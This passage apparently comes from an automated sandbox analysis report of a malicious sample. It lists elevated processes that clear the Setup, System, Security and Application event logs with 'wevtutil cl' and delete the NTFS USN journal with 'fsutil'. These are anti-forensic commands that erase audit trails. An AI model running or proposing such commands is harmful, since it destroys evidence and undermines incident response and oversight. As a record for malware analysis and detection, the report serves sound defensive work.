Start time:	19:12:09
Start date:	22/11/2023
Path:	C:\Windows\SysWOW64\wevtutil.exe
Wow64 process (32bit):	true
Commandline:	wevtutil cl Setup
Imagebase:	0x2b0000
File size:	208'384 bytes
MD5 hash:	3C0E48DA02447863279B0FE3CE7FE5E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	10
Start time:	19:12:09
Start date:	22/11/2023
Path:	C:\Windows\SysWOW64\wevtutil.exe
Wow64 process (32bit):	true
Commandline:	wevtutil cl System
Imagebase:	0x2b0000
File size:	208'384 bytes
MD5 hash:	3C0E48DA02447863279B0FE3CE7FE5E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	19:12:09
Start date:	22/11/2023
Path:	C:\Windows\SysWOW64\wevtutil.exe
Wow64 process (32bit):	true
Commandline:	wevtutil cl Security
Imagebase:	0x7ff7699e0000
File size:	208'384 bytes
MD5 hash:	3C0E48DA02447863279B0FE3CE7FE5E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	12
Start time:	19:12:09
Start date:	22/11/2023
Path:	C:\Windows\SysWOW64\wevtutil.exe
Wow64 process (32bit):	true
Commandline:	wevtutil cl Application
Imagebase:	0x2b0000
File size:	208'384 bytes
MD5 hash:	3C0E48DA02447863279B0FE3CE7FE5E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	13
Start time:	19:12:09
Start date:	22/11/2023
Path:	C:\Windows\SysWOW64\fsutil.exe
Wow64 process (32bit):	true
Commandline:	fsutil usn deletejournal /D C:
Imagebase:	0xb10000
File size:	167'440 bytes
MD5 hash:	452CA7574A1B2550CD9FF83DDBE87463
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true